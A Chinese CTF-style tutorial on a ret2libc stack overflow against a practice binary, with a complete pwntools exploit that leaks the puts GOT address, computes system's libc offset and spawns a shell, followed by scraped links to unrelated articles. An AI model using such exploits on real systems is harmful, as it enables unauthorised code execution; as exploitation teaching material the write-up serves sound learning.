背景知识

fflush 函数,清理缓冲区。

fflush(stdout) 一次性输出以上缓冲区所有数据

read(0,&buf,0xAu) 0代表标准输入,标准输出1,标准错误2,&buf 向buf输入。输入 长度为A的值的长度,数据类型U代表的是无符int

strtol(&buf,v3,v4) 是将输入的数据的ASCII码转换成数值存入 buf 中去

read 中接受的是ascii码,所以使用python方法应该是 io.send(str('某个地址'))

使用got 查看运行的GOt 表中的信息

其中0x80 开始的就是未加载的表象地址。而0xf 开始一般都是libc中的地址



由上图可以看出,在 plt 中无 system 函数

利用查找字符串也未发现 /bin/sh

构建shell思路

当调试的时候查询到 puts 函数的时候,因为在 libc 中是固定的, 所以system 相对于puts 的位置是固定的,得到了puts 的地址加上偏移量即可获得system 地址

libc=ELF('./libc-2.23.so')

libc.symbols["system"] //获取方法和获取当前变量一样

libc.symbols["puts"]

同样也可以使用ida进行获取



puts



相差的绝对值为 system - puts =

获取 puts 的 Got 地址。


from pwn import *

io=process('./ret2libc3')

elf=ELF('./ret2libc3')

elf.got['puts']




获得elf中put的 puts 地址 134520860

将该值传到服务器(这里是本地进程)

See_something 函数获取put在远程(这里是本地测试)的地址。



地址为0xf7daecd0 以 f7 开头的一般都是 libc 地址

获取sh 地址

获取到fflush 存储的地址,读取由sh开始的地址,当读取完sh 就会读取到 %00 。

即可完成字符串sh 的读取

netx(elf.search(b"sh\0x00"))

利用链

在复制过程中 src 的内容过长(0x100),导致 dest 之外的内容被覆盖。

src 内容来自于用户输入。

(注:默认情况下使用的libc文件为本机文件,使用ldd ret2libc3 -v查看相关信息)

payload


from pwn import *

io=process("./ret2libc3")

elf=ELF("./ret2libc3.1")

libc3=ELF("/lib/i386-linux-gnu/libc.so.6")

io.sendlineafter(" :",str(elf.got["puts"]))

io.recvuntil(b' : ')

puts_addr=int(io.recvuntil(b'\n',drop=True),16)

base_addr=libc3.symbols["system"]-libc3.symbols["puts"]

print(base_addr)

payload=flat(cyclic(60),puts_addr+base_addr,0xdeadbeef,next(elf.search(b"sh\x00")))

print(payload)

io.sendlineafter(b" :",payload)

print(io.recv())

io.interactive()


ret2libc--ROP(pwn)漏洞入门分析的更多相关文章

  1. [web安全原理分析]-SSRF漏洞入门

    SSRF漏洞 SSRF漏洞 SSRF意为服务端请求伪造(Server-Side Request Forge).攻击者利用SSRF漏洞通过服务器发起伪造请求,就这样可以访问内网的数据,进行内网信息探测或 ...

  2. Linux下pwn从入门到放弃

    Linux下pwn从入门到放弃 0x0 简介 pwn,在安全领域中指的是通过二进制/系统调用等方式获得目标主机的shell. 虽然web系统在互联网中占有比较大的分量,但是随着移动端,ioT的逐渐流行 ...

  3. Ripple 20:Treck TCP/IP协议漏洞技术分析

    本文由“合天智汇”公众号首发,作者:b1ngo Ripple 20:Treck TCP/IP协议漏洞技术分析 Ripple20是一系列影响数亿台设备的0day(19个),是JSOF研究实验室在Trec ...

  4. iot漏洞入门

    路由器漏洞入门 下载项目https://github.com/praetorian-inc/DVRF 安装quem sudo apt install qemu-user-static 安装gdb-mu ...

  5. [web安全]Web应用漏洞攻击分析与防范

    网站攻击主要分为以下几类: (1) sql注入攻击 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.它是利 ...

  6. Google发布SSLv3漏洞简要分析报告

    今天上午,Google发布了一份关于SSLv3漏洞的简要分析报告.根据Google的说法,该漏洞贯穿于所有的SSLv3版本中,利用该漏洞,黑客可以通过中间人攻击等类似的方式(只要劫持到的数据加密两端均 ...

  7. 关于 target="_blank"漏洞的分析

    创建: 于 八月 30, 2016 关于 target="_blank"漏洞的分析  一.漏洞详情:首先攻击者能够将链接(指向攻击者自己控制的页面的,该被控页面的js脚本可以对母页 ...

  8. 美链BEC合约漏洞技术分析

    这两天币圈链圈被美链BEC智能合约的漏洞导致代币价值几乎归零的事件刷遍朋友圈.这篇文章就来分析下BEC智能合约的漏洞 漏洞攻击交易 我们先来还原下攻击交易,这个交易可以在这个链接查询到. 我截图给大家 ...

  9. Heartbleed心脏出血漏洞原理分析

    Heartbleed心脏出血漏洞原理分析 2017年01月14日 18:14:25 阅读数:2718 1. 概述    OpenSSL在实现TLS和DTLS的心跳处理逻辑时,存在编码缺陷.OpenSS ...

随机推荐

  1. C++万能头文件的秘密

    #include<bits/stdc++.h> 万能头文件,拼写怎么这么奇怪? 其实,bits表示一个文件夹,stdc++.h是里面的头文件,这表示路径. 搜索这个文件夹,找到后打开. 打 ...

  2. 二分类问题 - 【老鱼学tensorflow2】

    什么是二分类问题? 二分类问题就是最终的结果只有好或坏这样的一个输出. 比如,这是好的,那是坏的.这个就是二分类的问题. 我们以一个电影评论作为例子来进行.我们对某部电影评论的文字内容为好评和差评. ...

  3. 【JAVA】mysql数据库常见知识点

    目录 1.事务四大特性 2.数据库隔离等级 3.Mysql两种存储引擎的区别 4.哈希索引和B+树索引 5.聚簇索引和非聚簇索引 6.索引的优缺点,什么时候使用索引,什么时候不能使用索引 7.索引的底 ...

  4. Oracle学习(十四)分表分区

    一.前言 大数据量的查询,不仅查询速度非常慢,而且还会导致数据库经常宕机,在尝试添加索引及查询方式修改后,还有没有更有效的解决方案呢? 分库.分表.分区这些概念咱就应该了解一下. 二.分表 假如一个大 ...

  5. 优雅的在React组件中注册事件

    前言 在React的开发中,我们经常需要在 window 上注册一些事件, 比如按下 Esc 关闭弹窗, 按上下键选中列表内容等等.比较常见的操作是在组件 mount 的时候去 window 上监听一 ...

  6. 基于 React 封装的高德地图组件,帮助你轻松的接入地图到 React 项目中。

    react-amap 这是一个基于 React 封装的高德地图组件,帮助你轻松的接入地图到 React 项目中. 文档实例预览: Github Web | Gitee Web 特性 ️ 自动加载高德地 ...

  7. oracle中插入一条记录后,重新登录查找不到数据

    你插入了数据,但是没有提交.其他Session也就是你再次登录后自然就看不到了(但是在当前回话可以看到插入的数据),但是你用SQLPLUS EXIT之后再次登录就可以看到插入的数据了,因为ORACLE ...

  8. 023 01 Android 零基础入门 01 Java基础语法 03 Java运算符 03 算术运算符之——自增自减运算符

    023 01 Android 零基础入门 01 Java基础语法 03 Java运算符 03 算术运算符之--自增自减运算符 本文知识点:Java算术运算符中的自增自减运算符 自增自减运算符 之前我们 ...

  9. Arduino control Eeprom by IIC method of using device address in Arduino

    参考: 1.https://www.arduino.cc/ 2.https://www.arduino.cc/reference/en/ 3.https://www.arduino.cc/en/Ref ...

  10. C语言中的左移与右移 <<, >> 位运算

    这里参考了一篇很好的位运算,涉及到位运算可能会遇到的正负号问题,左右溢出怎么处理问题. 参考: 1. https://www.cnblogs.com/myblesh/articles/2431806. ...